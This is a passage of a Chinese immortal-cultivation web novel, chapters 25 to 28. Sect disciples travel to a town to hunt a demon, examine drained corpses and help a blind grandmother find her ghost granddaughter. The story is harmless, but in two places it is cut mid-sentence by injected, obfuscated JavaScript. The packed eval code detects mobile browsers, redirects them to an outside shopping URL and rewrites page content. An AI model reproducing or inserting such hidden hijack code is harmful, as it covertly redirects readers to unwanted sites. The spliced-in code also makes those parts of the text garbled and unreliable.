宋时安留她道:“陆师妹,我还有一事相告,你且先留步啊。” 她正在气头上,哪里理会他,自顾自往前冲去。 宋时安见她就要去得远了,情急之下,高喊道:“是下山除妖的任务!陆师妹去也不去?” 闻言,陆青青这才停住脚步,侧身问:“下山,除妖?” 25. 第 25 章 宋时安赶上前来,似浑然不觉已惹怒了陆青青,仍旧一脸笑眯眯的解释道:“正是啊。师妹入门之初,应听过规训。掌门立宗的道心,便是除妖降魔,护卫百姓。宗门监管之地,但凡有异动,监察弟子便会传信来,内门弟子若无事在身,便要下山除妖。虽然天下已太平了近百年,可弟子们每年仍需下山一两回,没有大妖,还有小怪啊。” 说到此,他顿了顿,微现出些赧然之色:“这回的弟子名帖中,本也有陆师妹的,只谢师妹言说你腿脚带伤,不宜下山,故而我便将你名帖除去了。可适才又见你疾步而行,倒似无恙,才多此一问。” 陆青青:愤怒值+1 谁教那女人擅自挡她的道了,她的腿脚明明已然大好,那女人竟敢阻她下山除妖,定是惧怕被她抢走风头吧。那她就偏不能教她如意了。 她高贵冷艳地吐出两个字:“我去。” 宋时安拢起折扇:“那我便将陆师妹的名帖重新补录一份。” 陆青青略点一点头,而后带着比腊月寒天还要冷艳的神色道:“那颠倒黑白的话本,我劝师兄还是烧了为妙,免得给引出邪念,走火入魔。” 她冷冷地留下这几句忠告,便离开了。徒留宋时安在原地迷惘不已:“啊?” 看个话本而已,至于么? 话说回来,这话本也着实离奇,竟是一本古代仙侠百合文,书中的陆青青,同这位陆师妹,所言所行,大有相似之处,性子也是一般的骄横;而那冷艳师姐,虽名姓未出,暂以“女子”代指,可他总觉得,这女子气度同谢玄微有几分相像,皆是清清冷冷的高岭之花。 莫非是宗门内同修书写的?此人会是谁呢?有这般惊世之才,又是个十分八卦的百合控。 宋时安摸出话本,随意翻到中间,读了几页,越发觉得这月河先生笔下的陆青青,当真是和这陆师妹一般无二,活灵活现啊。 他愈发确定,这月河定是宗门内一位隐姓埋名的当世文豪! 可惜只有上册,许多故事还未展开。 他叹口气,将书放回袖怀,决定等这回除妖事毕后,多去书馆转转,待这话本出了中下两册,便买两套回来,一套送予陆师妹,一套收藏细看。 * “凡世间作恶危害之大者,不过妖魔鬼怪。” “一般来说,魔依凭本能行事,喜食人骨血,乍看可怖,却是最低阶的,筑基期修士便可将之降服。妖多有修为在身,平日不作乱时,同修仙界和人界井水不犯河水,若是为祸一方,食人害命,此时方可除去。但妖心思狡诈多变,又擅于变幻,总是需费些功夫。” “鬼怪,又称邪祟,包罗万象,但皆是已死之人所化,其中有鬼修,有游魂,有走尸……林林总总,有些极难对付,有些吹一口气便会消散。” 一行人乌泱泱地行在山间小道上,身穿各色弟子服。为首的一位作玉面书生打扮,一面悠闲地摇着折扇,一面絮絮地说着这许多除妖学问。 “宋师兄当真是博闻强记啊。”有人奉承道。 “啊,我平时爱读些话本,自然懂得多。你们也读些好书,日积月累,定能赶上我。”宋时安自谦道。 可说话那人却不理解他的自谦,微一愣怔,面现尴尬之色。 还好及时有人救场:“宋师兄,我们今日下山所除之物,是什么呢?” 宋时安:“据山下监察弟子所报,应是一只大妖。” “那我们如何降服这大妖啊?我刚入内门不久,才刚筑基,以往在试炼场,只猎过几只低阶魔物。”那人愁眉苦脸的说。 宋时安还未答,便有人插口道:“这就不是咱们要操心的事了。有谢师姐在旁,咱们绝没有出手的机会。单凭谢师姐一人的修为,便可横扫方圆百里内的妖魔鬼怪啊。” “啊,也是,我竟忘了,这回谢师姐也一同来了,如此,下山想必也跟在试炼场内一样自在了。这下我便放心了。”那人长舒一口气,全没留意到人群里向他射来的两道寒冷目光。 一道来自他身后的中年男修,一道来自他身侧的陆青青。 陆青青:这些人不拐弯抹角地奉承谢玄微,便不会说话了吗?这么信任谢玄微,等被妖怪踩在脚下的时候,看她会不会救你们!那时候再记起来呼唤她陆青青的大名,她陆青青也绝不会理睬了。 她看向前方,只见谢玄微背一把古琴,在前默默而行,似对这些奉承之语充耳不闻。 心里定在暗暗得意吧!陆青青以大人之心,度了度谢玄微的小人之腹。 这时,宋时安道:“谢师妹自然可以一敌众,若是不敌,我也会在后方相助大家的。” 众人听了,把奉承谢玄微的话也对他说了两句。可奉承过后,隐隐又觉得他这话有哪里不对。 在后方相助,是怎么个相助法呢?莫非是将他们护至身前么?想不明白,算了,宋师兄入门多年,资历高深,虽修为不高,却深受长老宠信,定有不少法宝灵器可用。 又听宋时安道:“何况还有这位石兄。”他以扇一指那中年男修,“你们虽不识得,但这位石兄和谢师妹一样,也是拜在灵音长老门下的弟子,资历比我还要老,入门三十多年了,境界也只略逊谢师妹一筹。我记得是……筑基中期,是么?石兄?” “你——”中年男修还未回应,他身旁的年轻男修已按捺不住,愤然伸出一指,欲大骂宋时安。 这两位男修便是石山和石一陀。 宋时安讶然望向石一陀,迷惑不解:“这位小师弟,你要同我说什么啊?” 石山抬手止住石一陀,不冷不热地回敬道:“不劳宋小友记挂,石某已升至筑基后期,距金丹期也只一步之遥了。倒是宋小友,盘桓在筑基初期十多年,今日下山,可需得妥善安置自身,免得入了大妖之口,成了众妖炼丹的材料。” 宋时安面露感激:“啊……我会当心的,多谢石兄提醒!”继而又委托大任一般说道,“石兄既已临近金丹期,那可太好了,在后方护卫师弟师妹们的任务,便委托你受累了。” 石一陀忍不住了,怒道:“我兄长堂堂灵音长老座下大弟子,轮得着你来派 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石一陀环顾众人,撇了撇嘴,道:“兄长,何须同这些废物多说,咱们只管猎妖,得了妖丹,算咱们自己的。” 妖物和魔物不同,魔物被除,烟消云散,妖物却大多身怀金丹,斩除之后,金丹会原地爆落。 陆青青方才只专心看热闹,暗自幸灾乐祸。听闻此言,好奇道:“谁猎到便是谁的么?” 她身形纤巧,隐在年长她许多的众同门之间,便似隐形了一般,此时忽然站出来发话,倒引了不少目光过来。 石一陀也冷冷地移目向她,看到她面容后,突然愣住了。 这不就是那日在谢玄微修炼室外所见的女修么?当时相距太远,脸容看不大分明,身形却是记得一清二楚。 此时见了脸容,却是花容月貌,楚楚动人。 他本要发作的怒气,霎时消了大半,庆幸那日不曾下手杀了她,如今看她这模样,似也全然不知他底细。 他暗自思量的功夫,宋时安早代他答了:“妖丹并非寻常法宝,还是上交宗门的好,以免伤及自身。宗门分赏灵丹法宝,较这妖丹更合宜。” 陆青青听了,失望地哦了一声。 本来想冲在前面,斩妖除魔,夺了妖丹独享呢,既这么着,她还是暂且避一避风头,等众人灵力耗尽,她再上去补刀,夺个力挽狂澜、护卫同门的好名声。 至于苦事累事吃力不讨好的事,就交给那谢玄微干吧。 她初入内门,也是第一次下山除妖,心里却满不在乎,只觉除妖同试炼场除魔也相差无几。她陆青青是何等人物啊,筑基期的大修士,还怕什么寻常妖物不成? 众人一路交谈,一路勾心斗角,一路自鸣得意,不多时,便来到了宗门传送阵前。 传送阵立于山中一块巨石之上。四围立着七面石柱,色彩艳丽,石柱围着的地面上印刻着繁复的符箓图案。 石一陀和石山撇下众人,率先走到阵中央,两指凝起一点灵力微光,将引路符点燃,而后往那地下符箓上一拍,身影便立时消失不见了。 26. 第 26 章 宋时安本待分派众人阵列,见这两人率先离队去了,倒有些茫然了。 转念一想,又放下心来。也罢,传送阵是宗门长老所设,穿行之时,应无魔物敢靠近,便教这些弟子先行一步,他留在最末护阵好了。 传送阵是从此地瞬移向彼地的阵法,传送中并非万无一失,除了那引路之人需耗损灵力护持外,更需得有人以灵力护阵,方可平稳落地,因此平时很少启用。除非是今日这般,乌泱泱一群弟子同时奔赴同一个地方。 打定了这主意,便同谢玄微说了,后者微微颔首,并未讥嘲他微末道行,有何能耐护阵,已径自踏入阵中。 她在弟子中颇有威望,堪称是宗门绝代天才,见她入阵,自然又有不少弟子急忙跟随入内,数息便将传送阵占得满满当当。可她却并未点燃引路符,目光淡淡投向阵外,似在等候什么人。 宋时安顺着那视线看去,只见陆青青正百无聊赖地东张西望。 他恍然明了,这位陆青青是弟子中的年幼者,又似与谢玄微有几分说不清道不明的交情,此时,谢玄微应是意欲携她同去,也好照看她一二。 应该如此吧? 因出言提醒道:“陆师妹,请入阵吧。有你们谢师姐在,断不会教你有什么闪失。” 陆青青望了望传送阵,又瞟他一眼,心想:就是有谢玄微在,才容易有闪失呢!这宗门内恨她的人不少,指不定就藏在这些人中间,准备悄悄使坏呢!害了她倒不要紧,万一像前几回那样,把自己给牵连到了,那就大事不妙了。 她说道:“这阵内好多人呢,我还是同宋师兄一道好了。” 宋时安摸了摸鼻子:啊?我吗?今日自己似乎格外吸引人注目呢。 不止有人替自己出头,还有这漂亮小师妹拒绝了谢师妹,主动提出与自己同行。 他倒是乐意照料她的,只不知谢师妹有没有意见了。 谢玄微眸光淡淡扫过两人,并未开言,指尖微动,将点燃的引路符轻轻送入地下符箓中。 阵中之人,霎时消失不见。 接着便又有弟子站了上去,之后又是一波…… 送走最后一波弟子后,宋时安散逸些灵力,一面护持阵法,一面观览阵中气象,确认一切无恙后,他又在阵周设了个密不透风的防护结界,以免有人误入阵内。 事毕,正待邀陆青青先行入内,岂料陆青青早一步踏入阵中,指尖灵力一动,点燃了引路符,便要往地下拍去。 他赶忙阻拦道:“师妹且慢!” 陆青青抬眼看他。 “行此阵需耗费灵力,还是由我来吧。” 他说完,便入了阵,从陆青青手中取过引路符,动作小心翼翼的,生怕与她相触,冒犯了她。 陆青青笑着说道:“宋师兄境界真是高深得很。” 宋时安不知她话语双关,谦逊道:“还好,也不能说很高深,我是筑基境,同师妹一样。” 陆青青暗笑,谁还不是筑基境了,这人似乎听不出她在讥嘲呢。不过无所谓了,既然他愿意损耗自身灵力,她也乐得坐享其成。 一阵昏天黑地的晕眩之后,忽然大亮,却已身处陌生地界。 脚下是青石板道,眼前立着块一人高的石碑,其上刻着三个朱红大字。 “栖霞镇。” 她默念了一遍,一面四下打量,一面在宋时安的指引下,慢慢朝在前等候的宗门同修走去。 众人汇合后,宋时安忙里忙外,将名册对应各人,察验无误后,方入了镇子。 不知是否是临近午时之故,街巷中少有人迹,铺面也少有开门的,竟寻不到几个百姓的身影。 宋时安显然多次带弟子下山,又或事先探查过,对镇中道路十分熟悉,引着众人行至一家专为宗门弟子开设的客栈,各自分了房,落了脚,又在大堂内摆了饭食,教众人享用。 饭后,他将来此的前因后果又细细说予众人。 “两年前,这镇子便有过一起妖乱,诛灭后,不过半年,又有一起鬼怪作祟之事,如今这是第三起。据监察弟子所报,这大妖就藏在镇内,暗夜里食人骨血,惑乱人心,眼下已有三位镇民遇害。至于那大妖究竟居于何处,化为何人何形,却还需得细细斟察。” 说完前因后果,他又开始分派阵列:“这回下山,弟子共二十三名,大家且分为四列,各选一位师兄师姐护持——” 他未说完,便见石一陀站起来道:“分列就没必要了吧,又不是三岁孩童,还要人护着,我们且各行其是,早些拿了那妖,早些回宗门去。” 宋时安摸了摸鼻子,见众人听了他话后,皆一言不发,似确无结队意愿,无奈道:“待会儿我们且先一同往镇子西侧的义庄,察验受害镇民的尸首,而后诸位自便。每日戌时,我在此清点名册,汇合各自得来的讯息。若诸位遭遇大敌,可点燃传音符,传讯与我,我定会赶去相助。” 石一陀已行至门口,听到最后一句后,停住脚步,呵呵笑了两声,讥道:“宋师兄,你同我们一般境界,怕是自身都难保,如何相助我们?” “我会尽力相助,这也是长老之托。”宋时安认真道。 “呵呵,但愿如此。”石一陀说完,环视了一圈众人,在陆青青面上停了停,便低头离开了。 陆青青正面带笑意,远远观战呢,不想触到他视线,心下微觉古怪。心想此人一脸邪气,又丑又怪,又爱无事生非,平白无故看自己一眼做什么?莫非自己惹到了他了? 琢磨一番,又觉不对,不意间望见坐在不远处的谢玄微,电光火石间,忽然有了一个猜测。 莫非这石一陀,就是暗害谢玄微的人?上回藏在竹林后瞧见了她,便连她一起暗算上了? 如此,真是大事不妙了。 毕竟这里远离宗门,又没陆青辞在身边,她孤零零一个人,可得处处留心了。 正想着,宋时安走过来对她道:“陆师妹,你且随在谢师妹身边,有她看护,你可无恙。” 这时,陆青青察觉到一道视线,正落在自己身上,抬眼,便见谢玄微正立在不远处,静静望着这边。 她心念微转。 本来想离她远点的,如今权衡利弊,却还是跟着她为妙。 遂道:“好啊,我这便过去。只不过,宋师兄该由何人看护呢?” 宋时安:“呃,这个……这个,我便也随谢师妹左右好了。” “那真是太好了,有师兄师姐在,我便可安心了。”陆青青道。 众弟子多数也作此想,故而先前他们不愿分队列,只愿跟随在谢玄微身前身侧。 出了客栈,一群人前呼后拥,不离谢玄微左右,后者只背着琴,一面默默而行,一面暗自察看四下异常。 镇上人烟稀少,门窗紧闭,有几扇门都落了重锁,锁上铜锈斑斑,许是为避大妖之祸,弃家逃亡了。 她默默察看时,陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537255|203854||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青青自然也在人群最末暗自打量四下。 本以为镇上没几个人,谁知行了一时后,竟有三三两两的百姓开了门扇,从家中出来,望着他们,神情激动,嘴唇哆嗦,甚至有些目瞪口呆了半晌,竟自激动大哭起来。 陆青青毕竟不做凡人已久,瞧见他们这副少见多怪的模样,油然而生一种超然之感。只觉自身有修为在身,远高于这些凡界百姓。 这种超然之感,在听到他们的呼声后,便更加超然了。 “神仙来了!” “神仙来救我们了,我们有救了!” “救苦救难的活菩萨啊……” 陆青青:下山被这些凡人顶礼膜拜的感觉,真美妙啊! 不妙的是,这美妙转瞬即逝。 “都是这位白衣仙人,见我穷困,分文不收,替我医好了病。” “我日夜思念丈夫,全靠了仙人可怜,才能在梦里相会。” “我儿子险些命丧妖怪之口,是这位仙人出手相救,大恩大德,没齿难忘啊。” 言语间,似乎众人纷纷所膜拜的,竟不是他们这群弟子,而只是一个人。 至于那人是谁,陆青青已有了定论,显而易见,就是那谢玄微啊。 陆青青失望至极,听着众人句句夸赞,又满是不服气。心想:原来她时常下山,在众人面前施舍仙法,博名声啊。 哼,真是虚伪。 这些小事,不过举手之劳,她陆青青一日能做一百件,只是不屑动手罢了。何况这些贪婪之人的妄念,有什么值得理会的? 心头暗自不平。 尤其是看到谢玄微神色淡漠,清冷疏离,一副置身事外、全然无动于衷的模样后,她愈加看不下去了。 略一思量,她寻了个空子,跟上前去,微笑道:“我今日才知,谢师姐不止受宗门弟子仰慕,便是这许多凡人,也为师姐倾倒呢。听着他们字字句句,把师姐比作仙人,我真好生替师姐高兴,只是师姐却为何从不回应一二呀?”她语气天真无邪,听来一句一字,便似真心实意一般。 谢玄微身形微顿,轻声道:“他人自述心中幻象,自抒心中情怀,与我无涉,也无需回应。” 听得此言,陆青青心头火气更盛:好啊,同她打起禅机、论起道心来了,倒显得境界多高似的!不过故弄玄虚,虚伪作态罢了! 她又好奇问道:“师姐这话,是说众人眼中所见,皆不是真正的师姐?那不知真正的师姐,究竟是何等模样呢?” 肯定是阴险虚伪啊,她早看透了。就是要当面相询,看看这人如何装腔作势。 闻言,谢玄微缓缓转眸,朝她望来,目光幽邃沉静。 陆青青被她看得心头一紧,暗自警惕:这般盯着我做什么?莫非被我当众戳穿了心思,便想翻脸不成? 谢玄微静静凝望着少女澄澈眼瞳,那眼瞳中清晰地倒映出她的身影,一个微茫的,困于方寸之间的渺小身影。 她微微垂眸,语气清淡温和:“便是师妹眼中所见。” 她面容本就素净不俗,神情又清冷超然,琉璃般的眼瞳,自带一抹俯瞰尘俗的淡漠与通透。 此时淡淡说出这一句话来,便如宛若月下仙人指点凡人缘法,气度高远,意态幽然。 陆青青怔怔望着她,只觉面颊微热,呼吸停滞,竟似被她这副谪仙之态震慑住了。 良久才回过神来。 可恶啊!又给她装到了! 27. 第 27 章 陆青青阴阳怪气不成,反被她震住,面颊发热,心口又跳得奇快,疑心是对方作弄之故,却也不好再问,生怕再听到什么禅语道心,便只低下头暗自思量,不再作声。 正在这时,斜刺里忽冲出来一个七八岁的孩童,扑到谢玄微人前,磕头道:“神仙姐姐!神仙姐姐救救我娘亲吧!” 陆青青抬头看去,却见那孩童拜的,正是谢玄微。 一位妇人上前,扶起那孩童,对谢玄微道:“仙人啊,这孩子可怜哪,去年才没了爹,如今娘亲的命又去了大半,不知是不是给妖鬼缠住了,整日对着没人的地唤孩子他爹的名儿。求仙人大发慈悲,救救他娘亲吧。” 谢玄微还未开口,宋时安抢上前来,问道:“你娘亲可是姓苏,家门口有一棵柳树。” 那孩童连连点头。 “啊,我认得你娘亲,你且归家,我稍后过去。”宋时安道。 那孩童感激地道:“多谢神仙姐姐!” 那妇人纠正道:“这位是神仙哥哥!” 宋时安:“不打紧不打紧。”心中却想,叫姐姐才正合适呢。 见谢玄微目光望来,他说道:“是她夫君的游魂,应是两厢纠缠太久,教她惹了心病上身,我稍后过去,劝她夫君离开。” 谢玄微不语,只轻点了下头。 倒像是两人早已惯于里应外合,救苦救难一般。 陆青青见此情形,心中越发不平:一个又一个,都在这群凡人中间发慈悲,耍神威,她陆青青今日也需得依样画瓢,寻个倒霉鬼,救苦救难,做个样子出来,教众人对她感恩戴德一番才好。 又行数里,人烟渐稀,雾气渐浓,应是到义庄了。 义庄是停尸之地,阴气盛极,在凡俗之人眼中,便是一缕缕青烟浓雾,漂浮不去;在修行之人眼中,却是团团黑影化成的一个个人形,正是死者生前之态,如今已成游魂孤鬼,徘徊逡巡,茫茫然无所依。 宋时安赶在众人踏入义庄之前,轻轻一挥折扇,只见漫天星尘落下,在义庄的缥缈雾气中沉浮不定。 众人正疑惑间,便听宋时安道:“诸位,我们修仙之人日常所纳,为天地灵秀之气,这鬼怪所纳却是阴界至浊至浑之气,气性相冲,两相相撞,会令气弱的一方受伤,故而我方才洒落了一星凡尘俗气,如此方可两方相安。且待它落定,我们再入内。” “哦,还有一事忘了说,我们切莫停留过久,一是这凡尘俗气只可抵挡一时,二是诸位灵气充沛,时辰一久,那些孱弱游魂亦会因难以抵御而致魂飞魄散。” 有个小弟子奇道:“为何不将这些游魂一并除去?留它们在此,不会作恶作祟吗?” 宋时安尚未开口,沈清轩已冷脸呵斥道:“教你好好背书,你总不听。每日申时的博学通识课,你都学到狗肚子里了?游魂不过是人死之后的一缕残魂散魄,孱弱不堪,如何作祟?” 被训的小弟子听他训完,吐了吐舌头:“多谢大哥指点。” “什么大哥,还当是在家里吗?在宗门要叫师兄!” 沈清轩训完阿弟,又转向宋时安道:“这凡尘俗气,是宋师兄从天衍处带来的吧?宗门内倒不曾对这些游魂鬼怪特意关照,平日一口气吹散了,便也就罢了,天衍处作为皇家道场,倒是有怜悯苍生之德。” “啊,正是。身在红尘,护持三界,这确是天衍处的道心。逝者已逝,生者一时难以释怀,心中执念牵绊着逝者的魂魄,不教它离去,这才有了游魂。三界万物,皆该留有一线生机,此亦为天地大道啊。” 宋时安为躲避皇族兄弟相害,幼时便入了天衍处,出家为道,修习道法,故而对天衍处道心训诫都是十二分的了解,当下便娓娓道来。 这时,一个声音冷冷传来:“不捉妖,倒在这儿清谈论道,呵呵,你们竟也不嫌啰嗦!”说着,身形一闪,已入了义庄。 众人却已认出,此人正是石一陀。 许是畏惧大妖之故,义庄竟无人看守,石一陀接连踹开几扇门,寻到了停尸之处,闪身入内。 随后,众人也尽皆赶入室内,只见几具尸身横七竖八躺在地下,像是给人随意丢进来的,竟连裹身的白麻布也无。 不过,若是看清那尸身面貌,便知实在也无需裹尸布。 那尸身已给吸干了骨髓精血,只余一张枯槁人皮了,模样森然可怖。 陆青青还是第一次瞧见这等怪尸,不敢上前探察,只小心躲在师兄师姐身后。 倒是宋时安,神色毫无惧意,反倒俯身将那几张枯槁人皮小心翼翼翻转开来,细细端详打量。 随即,他自怀中摸出几枚古朴铜钱,就地落座,抬手轻轻一抛,铜钱落地,叮当乱跳,滚转不停。 而后他伸出一指,探向人皮空洞凹陷的眼眶之间,眯起双目,凝神不动,似在借阴骸灵气推演吉凶。 地上几枚铜钱兀自震颤,叮铃脆响不绝,仿若暗中有无形之手暗中牵引,缓缓落定排布,终成一卦。 他睁眸,看一眼地下卦象,轻呼出一口气。 陆青青看他一连串动作有模有样,却不是清音宗日常所授的玄门道法,暗自纳闷。她不知这是宋时安在天衍处当道士时学来的问卜之法。天衍处时需料理民间异案,阴阳八卦,卦象推演,最是在行。 “周身无伤,肌肤无损,应是受了大妖蛊惑,主动献身的。我方才卜卦,卦象中平,死者神魂甚安,问魂亦未曾察觉到怨念和执念。更怪的是,这些人体内,连一丝妖气也未留下。看来这大妖已有了操纵人心,隐匿妖气之能,前者倒还不算什么,可后者却是少见。算来境界该在元婴之上了。”宋时安道。 “我们还是轻敌了。同来的这些弟子中,便是金丹期也只有两位,更别说远在金丹之上的元婴期弟子了。谢师姐,宋师兄,不若我们先行传讯给长老,报告此事?”沈清轩忧道。 谢玄微微一侧目,目光自躲在众弟子身后的陆青青身上扫过,将她的瑟缩畏怯之态尽收眼底。 她向宋沈两人微一颔首。 有她在此,她不愿行险。 石一陀呵呵笑道:“沈师兄胆气未免也忒不足。有谢师姐在此坐镇,谁还怕它什么元婴大妖啊?妖毕竟是妖, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537256|203854||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就算入了元婴,也抵不过咱们修仙之人的符箓。更何况,谢师姐不是已入了音道吗?” 听到这话,其他人倒还未作何反应,陆青青却是大大的惊了。 音道,乃是清音宗至高无上的心法本源,亦是宗门千年屹立、独步修仙界的立身根基。 音之一道玄妙无穷,可攻可守,能御强敌、护自身,更能以音律构筑幻境,扰神摄魄、牵引人心,亦可抚平躁动、驱除心魔。待到大道功成,一曲琴音动天地,孤身便可抗衡群魔,威势莫测。 也正因音道底蕴如此强横,清音宗素来不事张扬、不善笼络经营,却依旧声名远播。每年都有无数四方修士不辞千里跋涉前来拜师求学,就连各大玄门世家,也甘愿将门中天赋卓绝的子弟送入宗门,只求能习得一星半点的音道真传。 可音道修行偏偏艰深晦涩、门槛极高,不仅要看根骨悟性,也要看心境和修为沉淀,还要看能否得机缘。寻常修士纵有心向道,也往往难以入门。 难道这谢玄微,竟已入了音道? 看她漠然神色,再看她负着的那张古琴,此丑怪男修所言,当是属实。 先前她只以为谢玄微背着一张琴,是为了装腔作势,以示勤学不辍,在外也不忘以琴养心。 没成想,竟是这般…… 自己同她之间的修为,原本只有一境之隔,可如今,却横亘了音之一道。 陆青青思绪纷乱,末了却又凭空生出一股豪情意气来。 谢玄微能做到的,她陆青青总有一天也能做到。 她和阿辞约好了,要一起扬名天下,这点小事何必入心,来日方长呢。且应付眼下,避开祸事,积德行善,传扬自己的大名要紧。 却听宋时安轻咳一声,道:“我稍后便向长老传讯,待长老定夺,今日暂缓搜寻那大妖行迹,且于客栈安歇,以免打草惊蛇。” 听得此言,除了那石一陀兀自冷哼睥睨众人外,众人或有意见相左的,也只是与同伴交谈几句,并未自作主张。 一同出了义庄,走不多时,忽见一个人影飘飘忽忽朝这边奔来,在浓重雾气中,便好似鬼魅一般。 众修士立时敛神屏息,凝神戒备。陆青青也暗暗躲到了谢玄微身后。 待那人踉跄奔近,众人这才看清她容貌。 原来并非什么妖邪鬼魅,而是一位年迈的老婆婆。她身形枯瘦干瘪,披衣而行,一路跌跌撞撞,身子摇摇晃晃、左右飘忽,远远望去,倒真像是身法诡谲的魑魅魍魉。 那老婆婆一路奔走,还一路叫喊着:“宝儿,宝儿!”似在寻什么人。 可这处远离人烟,只有鬼魂遍地的义庄在前,寻人何必到这儿来呢? 蓦地,那老婆婆似是看到了他们,踉跄着朝一众修士直奔过来,眼看就要撞上为首那人。那人一时手足无措,慌忙往后退避,身旁几人也纷纷侧身躲开。 众人皆觉这老婆婆行径古怪至极,怕不是失心疯了。 眼看老婆婆便要扑个空,栽倒在地,这时候,一个人影从人群中抢出,一把扶住老婆婆,道:“老人家当心!” 28. 第 28 章 那老婆婆怔了怔,颤巍巍伸手,在他手臂上摸索一番,哽咽道:“你可是仙师?仙师啊,求你救救我的宝儿吧!她说出门替我买药,好些日子了也没回来。求仙师行行好,帮我找找她吧,她才七岁哪,一个人在外活不了的。” 众人见她双手瘦骨嶙峋,面色如土,眼瞳灰白,似是困顿目盲之人,心下微微生了点恻隐之心。 宋时安给她拽着手臂摩挲,看清了她面貌,暗暗叹口气,温言宽慰道:“老人家莫急,我会为你寻回宝儿。”又转向其他人,高声道,“诸位,你们可先行回客栈歇息。” 一众修士听了,有些便道了别,往客栈方向去了,有些却还留在原处,只望着那老婆婆。 陆青青正待迈步离去,却见谢玄微回眸朝自己看来,脚下便定住了。 既然那大妖如此可怖,这女人又得了音道真传,修为大增,还是跟在她身边得好。 又闲闲看一眼那老人家,见她佝偻着背,瘦骨伶仃,一面抹泪,一面诉说着对孙女的思念,好不凄惨。 忽然间福至心灵,这不就是她要找的倒霉鬼吗?她救苦救难,广施仙术,博取美名的时机这不就来了吗? 她双手背在身后,慢步行至老人面前,说道:“老婆婆,你的宝儿长什么模样?我帮你寻来。” 老人家循声转向她,两手比划着:“宝儿个头这么高,脸小小的,下巴儿尖尖的。唉,这孩子,跟了我苦呀,吃得不够,常年饿着,可怜哪。便就这样,她还是懂事得很,要给我买药,我说,今日莫去了罢,她说要去的,要去给婆婆治病,我说苦孩子,我的宝儿啊,你小心些,防着马儿车驾,切莫教人伤了——” 上了年纪的老人家毕竟言语絮叨,又久经磨难,内心悲苦不堪,问一句话,便能扯出一大篇苦来。陆青青听得不耐烦了,打住道:“不必说这些。我且问你,她穿什么花样的衣裳,梳了什么发髻?” “啊?梳了什么髻?还能是什么?我这老婆子眼瞎了,就给她扎两个小揪揪,别的孩子有花样,她跟着我苦哇……衣裳啊……她哪有什么好衣裳啊,左不过这里补补,那里缝缝……这孩子可怜哇,打小没了爹娘,跟着我个老婆子,没吃没穿的。咳咳,你不知,她懂事着呢!教人欺负了也不吭声……” 陆青青:…… 她抬手,缓缓按住额角。 实在是听得头疼了。看来想救一回难,还真不易。 再者,打小没爹没娘的人多得是,有什么可怜的?她陆青青没爹没娘,不也好好的站在这里么,还即将要成为一个救苦救难的大神仙,受众人仰慕敬畏。她威武得很,从不觉得自己有什么可怜的。 宋时安默默抱臂立在一旁,暗暗地叹着气。 谢玄微不知何时走了过来,说了两个字:“义庄。” 陆青青听到了,心念微动。 在义庄内里的,不是尸体,便是游魂了。莫非这婆婆要寻的宝儿,已不在人世了。 宋时安对两人点点头,低声道:“正是,那女娃正躲在义庄里。这老婆婆,不是第一回来此处寻人了。她思念孙女,神智有时不甚清明。”说完,对着呆愣愣的老婆婆,又暗暗叹了口气。 “我去引她过来。”谢玄微说完,目光却落向陆青青。 宋时安忙道:“我会小心看顾师妹的。” 她这才飘然往义庄去了。 陆青青可不领情:这是又耍师兄师姐的派头了?她陆青青才不需谁看顾呢。 “仙师,这孩子跑哪儿去了啊?”那老婆婆又兀自焦急发起喊来,“宝儿,宝儿!”声线喑哑破碎。 “阿婆,莫要喊了。”陆青青不耐烦地道。 “啊,宝儿?”老婆婆摸索着,摸到了她身上,“宝儿?是宝儿吗?” 那手黑乎乎的全是污垢,陆青青浑身不自在,避开她的手。 老婆婆呆了一呆,一手抖颤着入袖,取出一枚糖,颤巍巍地递向陆青青。 “宝儿吃糖,给宝儿买的糖。” 糖纸黏糊糊脏兮兮的,一看便知放了许久,里面的糖怕是早化开又凝固不知几遭了。 陆青青连她的手都不愿碰,自然更不会去接这糖。 这时刻,宋时安的声音响起来:“来了,宝儿来了,老人家往那边看。” 陆青青斜斜瞟他,心想,骗一个快入土的盲眼老婆婆,还面不改色,心性倒是比她还要坚韧不凡呢。 谁知,不一时,竟真有一个扎双揪的小女娃,胸前飘一点符箓灵光,被谢玄微领着,慢慢走到了近旁。 陆青青微微眯眼。 生人有气有体,鬼魂有气无体。这小女娃形体如云雾般散逸,应是鬼魂了。 先前宋时安所言的那一套“妖魔鬼怪”论,其实每位弟子都得过授业,更有如何辨别,如何降服,如何超度等术法传授,陆青青自然也不例外。 “阿婆!阿婆!”小女娃边跑边唤着。 那老婆婆不知听到了没有,只愣在原地,呆了片刻,又把糖递向陆青青:“快吃啊,宝儿!” 见陆青青不理会,也不出声,她急得团团转,往前后左右摸索着,寻摸她的踪迹,许是太过急切,脚下一软,竟跌倒了。 小女娃一呆,急忙奔过来,想扶起婆婆,手指却像风一般,穿过了老人的手臂。 终究是阴阳殊途,人鬼相隔,有形无质,一触即空。 宋时安忙上前帮忙,老婆婆摸索着他的手臂站起来,忽而似隐约感应到身旁熟悉的气息,瞬时面露喜色,颤声唤道:“是我的宝儿吗?是我的宝儿回来了?” 小女娃眼眶通红,泪水簌簌落下,哽咽着哭喊:“阿婆!阿婆!” 老婆婆像是真的听见了她的声音,急切地张开双臂,想要将她搂入怀中:“宝儿,真的是我的宝儿!” 